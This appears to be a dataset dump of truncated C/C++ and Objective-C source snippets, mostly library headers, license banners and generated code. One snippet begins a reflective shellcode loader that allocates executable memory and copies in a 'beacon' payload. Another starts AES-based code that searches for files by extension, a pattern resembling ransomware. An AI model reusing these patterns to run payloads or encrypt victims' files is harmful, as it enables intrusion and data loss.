text
stringlengths
9
948k
// // MIColorInvertFilter.h // MetalImage // // Created by Feng Stone on 2017/8/25. // Copyright © 2017年 fengshi. All rights reserved. // #import "MetalImageFilter.h" NS_ASSUME_NONNULL_BEGIN @interface MIColorInvertFilter : MetalImageFilter @end NS_ASSUME_NONNULL_END
/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 ...
/* Linux: t=../../3rdparty for d in libpng16 jpeg zlib; do $(MAKE) -C ${t}/${d}; done cc -g demo.c gr3.c gr3_glx.c gr3_convenience.c gr3_gr.c \ gr3_html.c gr3_jpeg.c gr3_mc.c gr3_png.c gr3_povray.c \ -I${t} -I${t}/jpeg -I${t}/zlib -I/usr/local/gr/include \ -L/usr/local/gr/lib -lGR -Wl,-rpath,/usr/local/gr/lib \ ...
#pragma once #include "SamplerIntegrator.h" class PathIntegrator:public SamplerIntegrator { public: PathIntegrator(int maxDepth, std::shared_ptr<const Camera> camera, std::shared_ptr<Sampler> sampler) : SamplerIntegrator(camera, sampler), maxDepth(maxDepth) { } Spectrum Li(const RayDifferential& ray, const Scen...
/* * If not stated otherwise in this file or this component's Licenses.txt file the * following copyright and licenses apply: * * Copyright 2015 RDK Management * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain ...
/******************************************************************************* * * DO NOT EDIT THIS FILE! * This file is auto-generated by fltg from Logical Table definition files. * Edits to this file will be lost when it is regenerated. * * Copyright: (c) 2018 Broadcom. All Rights Reserved. "Broadcom" refers ...
/** * \file js/rpmmpw-js.c */ #include "system.h" #include <math.h> #include "rpmmpw-js.h" #include "rpmjs-debug.h" #include <rpmbc.h> #include "beecrypt/mpprime.h" /* mpptrials() */ #include "debug.h" /*@unchecked@*/ static int _debug = 0; /* Required JSClass vectors */ #define rpmmpw_addprop JS_PropertyStub ...
#ifndef _CTYPE_H_ #define _CTYPE_H_ #include "_ansi.h" #include <sys/cdefs.h> #if __POSIX_VISIBLE >= 200809 || __MISC_VISIBLE || defined (_COMPILING_NEWLIB) #include <xlocale.h> #endif _BEGIN_STD_C int isalnum (int __c); int isalpha (int __c); int iscntrl (int __c); int isdigit (int __c); int isgraph (int __c); int...
/**************************************************************************** **************************************************************************** *** *** This header was automatically generated from a Linux kernel header *** of the same name, to make information necessary for userspace to *** call i...
/* Exercise 4 */ #include<stdio.h> int main(void) { /* part a */ unsigned short int intArray[] = {2, 4, 6, 8, 10, 12, 14, 16, 18, 20}; int len = sizeof(intArray)/sizeof(unsigned short int); int i = 0; for (i=0; i<len; i++) printf("value: %3d, memory address: %p\n", intArray[i], &intArray[i]); /* part...
struct test { unsigned int val1 : 1; unsigned int val2 : 1; }; int main() { struct test t = { 1, 2 }; return t.val2 + t.val1; }
// This file is part of BOINC. // http://boinc.berkeley.edu // Copyright (C) 2008 University of California // // BOINC is free software; you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License // as published by the Free Software Foundation, // either version 3 of the Licens...
#include <nchan_module.h> #include <subscribers/common.h> #include "longpoll.h" #include "longpoll-private.h" //#define DEBUG_LEVEL NGX_LOG_WARN #define DEBUG_LEVEL NGX_LOG_DEBUG #define DBG(fmt, arg...) ngx_log_error(DEBUG_LEVEL, ngx_cycle->log, 0, "SUB:CHUNKED:" fmt, ##arg) #define ERR(fmt, arg...) ngx_log_error(NG...
/* type_hind.c */ /* Custom Fortran interface file */ #include "mpiimpl.h" #include "mpimem.h" #if defined(MPI_BUILD_PROFILING) || defined(HAVE_WEAK_SYMBOLS) #if defined(HAVE_WEAK_SYMBOLS) #if defined(HAVE_PRAGMA_WEAK) #if defined(FORTRANCAPS) #pragma weak MPI_TYPE_HINDEXED = PMPI_TYPE_HINDEXED EXPORT_MPI_API void MP...
// // Generated by classdumpios 1.0.1 (64 bit) (iOS port by DreamDevLost)(Debug version compiled Sep 26 2020 13:48:20). // // Copyright (C) 1997-2019 Steve Nygard. // #import <objc/NSObject.h> #import "Action-Protocol.h" #import "FMDAccessoryRegistryDelegate-Protocol.h" @class FMDAccount, FMDServerInteractionCo...
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Mupen64plus - savestates.h * * Mupen64Plus homepage: https://mupen64plus.org/ * * Copyright (C) 2012 CasualJames * * Copyrig...
/* Copyright (C) 2005-2011, Thorvald Natvig <thorvald@natvig.com> Copyright (C) 2009-2011, Stefan Hacker <dd0t@users.sourceforge.net> All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: -...
/* PsychtoolboxGL/Source/Common/PsychHID/PsychHIDKbTriggerWait.c PROJECTS: PsychHID only. PLATFORMS: All. AUTHORS: rwoods@ucla.edu rpw mario.kleiner@tuebingen.mpg.de mk HISTORY: 8/9/07 rpw Created. 12/17/09 rpw Added keypad support NOTES: ...
/* Sending and receiving packets Packets are sent and received on connections. In order to simultaneously provide a good fit with conventional message-passing systems and with other more direct systems (e.g., sockets), I've defined a set of connection macros that are here translated into Chameleon me...
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" fil...
/************************************************************************ ** This file is part of the network simulator Shawn. ** ** Copyright (C) 2004-2007 by the SwarmNet (www.swarmnet.de) project ** ** Shawn is free software; you can redistribute it and/or modify it ** ** under the terms of t...
/* * Support for Intel Camera Imaging ISP subsystem. * Copyright (c) 2015, Intel Corporation. * * This program is free software; you can redistribute it and/or modify it * under the terms and conditions of the GNU General Public License, * version 2, as published by the Free Software Foundation. * * This progra...
// // Name: TextureDlg.h // // Copyright (c) 2006-2011 Virtual Terrain Project // Free for all uses, see license.txt for details. // #ifndef __TextureDlg_H__ #define __TextureDlg_H__ #include "EnviroUI.h" #include "vtui/AutoDialog.h" #include "vtlib/core/TParams.h" // WDR: class declarations //---------------------...
/* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2019 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the ...
/* * (C) Copyright 2016 Kurento (http://kurento.org/) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicab...
/* * MikroSDK - MikroE Software Development Kit * Copyright (c) 2019, MikroElektronika - www.mikroe.com * All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without...
/* * This file is part of the Micro Python project, http://micropython.org/ */ /** ****************************************************************************** * @file USB_Device/CDC_Standalone/Inc/usbd_cdc_interface.h * @author MCD Application Team * @version V1.0.1 * @date 26-February-2014 * @...
/*- * Copyright (c) 2009 Ed Schouten <ed@FreeBSD.org> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, thi...
/* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2018 Scott Shawcroft for Adafruit Industries * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Softwar...
/* * Copyright (c) 2018-2020, Andreas Kling <kling@serenityos.org> * * SPDX-License-Identifier: BSD-2-Clause */ #pragma once #include "Assertions.h" #include "Atomic.h" #include "RefCounted.h" #include "RefPtr.h" #include "StdLibExtras.h" #ifdef KERNEL # include <Kernel/Arch/Processor.h> # include <Kernel/A...
//--------------------------------------------------------------------- // <copyright file="odata_format.h" company="Microsoft"> // Copyright (C) Microsoft Corporation. All rights reserved. See License.txt in the project root for license information. // </copyright> //---------------------------------------------...
#ifndef __ADC_H #define __ADC_H #include "stm32f10x.h" void ADCx_Init(void); #endif /* __ADC_H */
#include <stdio.h> #include <io.h> #include <string.h> #include <stdlib.h> #include <openssl/aes.h> #include <assert.h> #include <math.h> #include "info.h" // 解决visual studio对于不安全函数使用的报错 #pragma warning(disable : 4996) /** * 根据文件路径检索特定后缀文件 * @param findExtension 指向要检索的文件路径数组的指针 * @param findExtensionLength 要检索的文件路径数...
/**************************************************************************** * Copyright (C) from 2009 to Present EPAM Systems. * * This file is part of Indigo toolkit. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You ma...
#ifndef JSON_SPIRIT_WRITER_TEMPLATE #define JSON_SPIRIT_WRITER_TEMPLATE // Copyright John W. Wilkinson 2007 - 2009. // Distributed under the MIT License, see accompanying file LICENSE.txt // json spirit version 4.03 #include "json_spirit_value.h" #include <cassert> #include <sstream> #include <iomanip> na...
// Copyright (C) 2018-2021 Intel Corporation // SPDX-License-Identifier: Apache-2.0 // #pragma once #include <ie_common.h> #include <mkldnn_node.h> namespace MKLDNNPlugin { class MKLDNNLogSoftmaxNode : public MKLDNNNode { public: MKLDNNLogSoftmaxNode(const std::shared_ptr<ngraph::Node>& op, const mkldnn...
///////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Tencent is pleased to support the open source community by making behaviac available. // // Copyright (C) 2015 THL A29 Limited, a Tencent company. All rights reserved. // // Licensed under the BSD 3-Clau...
//////////////////////////////////////////////////////////////////////////// // // Copyright 2014 Realm Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/li...
/* Helvetica14.c - compiled data for font AdobeHelv-M-R-N--14-140-75-75-P */ /* generated source code by utils/bdfToGem, do not edit */ /* BDF data file input: 75dpi/helvR14.bdf */ #include "common.h" #include "memgfx.h" #include "../gemfont.h" static UBYTE Helvetica14_data[4658] = { 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,...
/*----------------------------------------------------------------------------- Copyright(c) 2010 - 2018 ViSUS L.L.C., Scientific Computing and Imaging Institute of the University of Utah ViSUS L.L.C., 50 W.Broadway, Ste. 300, 84101 - 2044 Salt Lake City, UT University of Utah, 72 S Central Campus Dr, Room 3750, 84112...
/* * Copyright 2006-2020 The OpenSSL Project Authors. All Rights Reserved. * * Licensed under the Apache License 2.0 (the "License"). You may not use * this file except in compliance with the License. You can obtain a copy * in the file LICENSE in the source distribution or at * https://www.openssl.org/source/l...
/* config.h. Generated from config.h.in by configure. */ /* config.h.in. Generated from configure.ac by autoheader. */ /* Define if building universal (internal helper macro) */ /* #undef AC_APPLE_UNIVERSAL_BUILD */ /* How many MiB of RAM to assume if the real amount cannot be determined. */ #define ASSUME_RAM 12...
// // Copyright (c) 2018 Open Whisper Systems. All rights reserved. // #import <Foundation/Foundation.h> @interface Randomness : NSObject /** * Generates a given number of cryptographically secure bytes using SecRandomCopyBytes. * * @param numberBytes The number of bytes to be generated. * * @return Random ...
/**********************************************************************/ /* ____ ____ */ /* / /\/ / */ /* /___/ \ / */ /* \ \ \/ ...
#include <stdint.h> #include <math.h> #include <stdio.h> #include <stdlib.h> #define TSIZE 16 #define WSIZE 3 int main(int argc, char* argv[]) { int I; for(I=0; I < TSIZE/2; I++) { double phase = (2*M_PI*I/TSIZE); double cval = cos(phase); int8_t abs_cval_fixed_point = (int) (((1 << (WSIZE-1))-1)*cval); ...
#ifndef _CBFTPSERVER_H_ #define _CBFTPSERVER_H_ #include "MenuCallBack.h" #include "Header.h" #include "ESP32FtpServer.h" #include <SD.h> #include <SPIFFS.h> class CBFTPserver : public MenuCallBack { public: bool setup(){ M5.Lcd.setTextFont(0); bool flgSD = isSD(); M5.Lcd.setTextColor(0xFFFF); for (i...
#pragma once #include <Poco/Exception.h> #include <exception> #include <string> namespace pingcap { enum ErrorCodes : int { MismatchClusterIDCode = 1, GRPCErrorCode = 2, InitClusterIDFailed = 3, UpdatePDLeaderFailed = 4, TimeoutError = 5, RegionUnavailable = 6, LogicalError = 7, Lock...
#ifndef __VMAF_CLI_PARSE_H__ #define __VMAF_CLI_PARSE_H__ #include <stdbool.h> #include <libvmaf/libvmaf.rc.h> #include <libvmaf/model.h> #define CLI_SETTINGS_STATIC_ARRAY_LEN 256 typedef struct { char *path_ref, *path_dist; unsigned width, height; enum VmafPixelFormat pix_fmt; unsigned bitdepth; ...
#ifndef __SPI_SH_MSIOF_H__ #define __SPI_SH_MSIOF_H__ enum { MSIOF_SPI_MASTER, MSIOF_SPI_SLAVE, }; struct sh_msiof_spi_info { int tx_fifo_override; int rx_fifo_override; u16 num_chipselect; int mode; unsigned int dma_tx_id; unsigned int dma_rx_id; u32 dtdl; u32 syncdl; }; #endif /* __SPI_SH_MSIOF_H__ */
/* * Generated by asn1c-0.9.29 (http://lionet.info/asn1c) * From ASN.1 module "EUTRA-RRC-Definitions" * found in "/home/labuser/Desktop/openairinterface5g_f1ap/openair2/RRC/LTE/MESSAGES/asn1c/ASN1_files/lte-rrc-14.7.0.asn1" * `asn1c -pdu=all -fcompound-names -gen-PER -no-gen-OER -no-gen-example -D /home/labuser/D...
/* Copyright 2020 Matthew Tso (zoo) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * This program is distrib...
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROMEOS_SERVICES_SECURE_CHANNEL_MULTIPLEXED_CHANNEL_H_ #define CHROMEOS_SERVICES_SECURE_CHANNEL_MULTIPLEXED_CHANNEL_H_ #include <memory> #inclu...
#pragma once namespace ZEngine::Core { struct IInitializable { IInitializable() = default; virtual ~IInitializable() = default; virtual void Initialize() = 0; }; } // namespace ZEngine::Core
/* Question Develop a pseudo code to traverse a single linked list and search for a negative value node. If found delete its successor node from the linked list. Algorithm Initialize the node with a value and a pointer “next” main() defined New node P1 created P1 value assigned by the us...
/* Copyright (c) 2010-2019, Delft University of Technology * All rigths reserved * * This file is part of the Tudat. Redistribution and use in source and * binary forms, with or without modification, are permitted exclusively * under the terms of the Modified BSD license. You should have received *...
/*------------------------------------------------------------------------------ * * Copyright (c) 2011-2020, EURid vzw. All rights reserved. * The YADIFA TM software product is provided under the BSD 3-clause license: * * Redistribution and use in source and binary forms, with or without * modification, are perm...
C $Header: /u/gcmpack/MITgcm/verification/global_ocean.cs32x15/code/DIAGNOSTICS_SIZE.h,v 1.1 2006/06/08 00:54:30 jmc Exp $ C $Name: $ C Diagnostics Array Dimension C --------------------------- C ndiagMax :: maximum total number of available diagnostics C numlists :: maximum number of diagnostics...
// // Misc.h // SearchV3Demo // // Created by songjian on 13-8-22. // Copyright (c) 2013年 songjian. All rights reserved. // #import <Foundation/Foundation.h> #import "Flutter/Flutter.h" @interface Misc : NSObject +(NSString* ) toAMapErrorDesc:(NSInteger) errorCode; @end
/* * Generated by asn1c-0.9.24 (http://lionet.info/asn1c) * From ASN.1 module "EUTRA-RRC-Definitions" * found in "fixed_grammar.asn" * `asn1c -gen-PER` */ #include "SL-HoppingConfigComm-r12.h" static int numSubbands_r12_3_constraint(asn_TYPE_descriptor_t *td, const void *sptr, asn_app_constraint_failed_f *c...
/* * Copyright (C) 2018 ETH Zurich, University of Bologna * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by ap...
#pragma once #include <memory> #include "drake/common/default_scalars.h" #include "drake/common/drake_copyable.h" #include "drake/common/extract_double.h" #include "drake/common/trajectories/trajectory.h" #include "drake/systems/primitives/linear_system.h" namespace drake { namespace systems { /// A continuous- or ...
/*! * \file main.c * * \brief FUOTA interop tests - test 01 * * \copyright Revised BSD License, see section \ref LICENSE. * * \code * ______ _ * / _____) _ | | * ( (____ _____ ____ _| |_ _____ ____| |__ ...
/* * This header is generated by classdump-dyld 1.0 * on Saturday, August 24, 2019 at 9:45:03 PM Mountain Standard Time * Operating System: Version 12.4 (Build 16M568) * Image Source: /System/Library/Frameworks/Photos.framework/Photos * classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. */ ...
/* Automatically generated by SmartSyntaxPluginCodeGenerator VMMaker.oscog-eem.3090 uuid: 3e2b8343-01bb-4169-ba4c-aecf82b4dcfc from JPEGReadWriter2Plugin VMMaker.oscog-eem.3090 uuid: 3e2b8343-01bb-4169-ba4c-aecf82b4dcfc */ static char __buildInfo[] = "JPEGReadWriter2Plugin VMMaker.oscog-eem.3090 uuid: 3e2b8343-01...
/* * Linux MegaRAID driver for SAS based RAID controllers * * Copyright (c) 2009-2013 LSI Corporation * Copyright (c) 2013-2014 Avago Technologies * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free So...
/// @file /// @brief Define xHCI context structures. #pragma once #include <stdint.h> namespace usb { namespace xhci { #pragma pack(push, 1) // This namespace isn't usefully documented. /// @cond /// namespace EP_TYPES { const uint8_t INVALID = 0; const uint8_t ISOCH_OUT = 1; const uint8_t BU...
/****************************************************************************** * * Module Name: aslnamesp - Namespace output file generation * *****************************************************************************/ /****************************************************************************** * * 1. Cop...
// This file was @generated with LibOVRPlatform/codegen/main. Do not modify it! #ifndef OVR_ASSETDETAILS_H #define OVR_ASSETDETAILS_H #include "OVR_Platform_Defs.h" #include "OVR_LanguagePackInfo.h" #include "OVR_Types.h" typedef struct ovrAssetDetails *ovrAssetDetailsHandle; /// ID of the asset file OVRP_PUBLIC_FU...
#ifndef ITEMDEF_H #define ITEMDEF_H #include <QMetaType> #include <QString> #include <QPixmap> typedef enum{ S_RED, S_BLUE, S_YELLOW, } ItemStatus; struct User { QString firstName; QString lastName; QString Email; QString ID; bool isLogin; }; Q_DECLARE_METATYPE(User) #endif // ITEMDE...
/* this ALWAYS GENERATED file contains the definitions for the interfaces */ /* File created by MIDL compiler version 6.00.0361 */ /* Compiler settings for chanmgr.idl: Oicf, W1, Zp8, env=Win32 (32b run) protocol : dce , ms_ext, c_ext, robust error checks: allocation ref bounds_check enum stub_data ...
//LIN_sched.h // Copyright Querysoft Limited 2013 // // Permission is hereby granted, free of charge, to any person or organization // obtaining a copy of the software and accompanying documentation covered by // this license (the "Software") to use, reproduce, display, distribute, // execute, and transmit the Softwar...
/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include <stdint.h> #include "cras_system_state.h" #define MAX_VOLUME_TO_SCALE 0.9999999 #define MIN_VOLUME_TO_SCALE 0.0000001 /* * Signed ...
/* * Copyright (C) 2016-2017 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditi...
/* AUTOMATICALLY GENERATED, DO NOT MODIFY */ /* * Schema-defined QAPI types * * Copyright IBM, Corp. 2011 * Copyright (c) 2013-2018 Red Hat Inc. * * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. * See the COPYING.LIB file in the top-level directory. */ #ifndef INCLUDE_TEST_QAPI_...
/* * Direct Sound Audio Renderer * * Copyright 2004 Christian Costa * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any ...
// Copyright(C) 1999-2017 National Technology & Engineering Solutions // of Sandia, LLC (NTESS). Under the terms of Contract DE-NA0003525 with // NTESS, the U.S. Government retains certain rights in this software. // // Redistribution and use in source and binary forms, with or without // modification, are permitted p...
#pragma once #include "ovbase.h" struct array2d { float **ptr; size_t channels; size_t buffer_size; }; NODISCARD error array2d_allocate(struct array2d *const c, size_t const channels, size_t const buffer_size); void array2d_release(struct array2d *const c);
/* * Copyright (C) 2011 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by app...
#pragma once struct Event {}; struct UpdateEvent : public Event { float delta_time; }; struct ResizeEvent : public Event { int width, height; }; struct KeyEvent : public Event { int key; int scancode; int action; int mods; }; struct MouseButtonEvent : public Event { float x; float y; int button; ...
// Copyright 2004-present Facebook. All Rights Reserved. #include <vector> #include <nanoflann.hpp> #include <pangolin/geometry/geometry.h> #include <pangolin/pangolin.h> #include <Eigen/Core> struct KdVertexList { public: KdVertexList(const std::vector<Eigen::Vector3f>& points) : points_(points) {} inline siz...
// @generated by pegen.py from ./Grammar/python.gram #include "pegen.h" #if defined(Py_DEBUG) && defined(Py_BUILD_CORE) extern int Py_DebugFlag; #define D(x) if (Py_DebugFlag) x; #else #define D(x) #endif static const int n_keyword_lists = 15; static KeywordToken *reserved_keywords[] = { (KeywordToken[]) {{NULL, -...
#include "ReflectiveLoader.h" extern HINSTANCE hAppInstance; #include <stdio.h> #include "beacon.h" typedef LONG (NTAPI * NtContinue_t)(PCONTEXT /* ctx */, BOOLEAN /* removealert */); VOID WINAPI ExecuteShellcode() { void *beacon = VirtualAlloc(0, beacon_bin_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(beac...
/* * Generated by asn1c-0.9.29 (http://lionet.info/asn1c) * From ASN.1 module "NR-RRC-Definitions" * found in "/home/labadmin/hlal/rrc_15.3_asn.asn1" * `asn1c -D ./15_3_rrc/ -fcompound-names -fno-include-deps -findirect-choice -gen-PER -no-gen-example` */ #include "FreqBandList.h" #include "FreqBandInformation...
/* // Copyright (c) 2020 Intel Corporation // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or...
/* * FreeRTOS Kernel V10.2.0 * Copyright (C) 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, includ...
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef NET_QUIC_TEST_TOOLS_SIMULATOR_ACTOR_H_ #define NET_QUIC_TEST_TOOLS_SIMULATOR_ACTOR_H_ #include <string> #include "net/quic/core/quic_clock.h...
#include <string.h> // for memcpy #include "timer.h" /* Composing TACTL's default value (16-bit) Using ACLK for TASSELx: 0x01 << 8 Using /1 for IDx : 0x00 << 6 Using stop for MCx : 0x00 << 4 Using false for TACLR : 0x00 << 2 Using true for TAIE : 0x01 << 1 Result : 0x0102 ...
// Copyright (c) 2015 The Chromium Embedded Framework Authors. All rights // reserved. Use of this source code is governed by a BSD-style license that // can be found in the LICENSE file. // // --------------------------------------------------------------------------- // // This file was generated by the CEF translato...
/* * This header is generated by classdump-dyld 1.5 * on Friday, April 30, 2021 at 11:37:00 AM Mountain Standard Time * Operating System: Version 13.5.1 (Build 17F80) * Image Source: /System/Library/PrivateFrameworks/CalendarDae...
/* libunwind - a platform-independent unwind library Copyright (c) 2003-2005 Hewlett-Packard Development Company, L.P. Contributed by David Mosberger-Tang <davidm@hpl.hp.com> This file is part of libunwind. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associate...
/* * Copyright (c) 2001-2003 Swedish Institute of Computer Science. * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright not...
#ifndef STORM_STORAGE_DD_ADD_H_ #define STORM_STORAGE_DD_ADD_H_ #include <map> #include <functional> #include "storm/storage/dd/Dd.h" #include "storm/storage/dd/DdType.h" #include "storm/storage/dd/Odd.h" #include "storm/storage/dd/cudd/InternalCuddAdd.h" #include "storm/storage/dd/sylvan/InternalSylvanAdd.h" #incl...
/* +----------------------------------------------------------------------+ | HipHop for PHP | +----------------------------------------------------------------------+ | Copyright (c) 2010-2015 Facebook, Inc. (http://www.facebook.com) | +---------...
/* Copyright Airship and Contributors */ #import <UIKit/UIKit.h> #import "UARateAppAction.h" /** * View Controller interface for showing and dismissing Rate App * link prompts. */ @interface UARateAppPromptViewController : UIViewController ///-----------------------------------------------------------------------...
/* * AVR32 Performance Counter Driver * * Copyright (C) 2005-2007 Atmel Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Author: Ronny Pedersen */ #include <...
/* $NetBSD: getnetent.c,v 1.21 2012/03/20 17:44:18 matt Exp $ */ /* * Copyright (c) 1983, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met...
/* FreeRTOS V8.2.0 - Copyright (C) 2015 Real Time Engineers Ltd. All rights reserved VISIT http://www.FreeRTOS.org TO ENSURE YOU ARE USING THE LATEST VERSION. This file is part of the FreeRTOS distribution. FreeRTOS is free software; you can redistribute it and/or modify it under the terms of...
/* * This header is generated by classdump-dyld 1.0 * on Sunday, June 7, 2020 at 11:44:46 AM Mountain Standard Time * Operating System: Version 13.4.5 (Build 17L562) * Image Source: /System/Library/PrivateFrameworks/TVSystemUI.framework/TVSystemUI * classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias...
// Copyright (C) 2019-2020 Zilliz. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable l...
/* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not...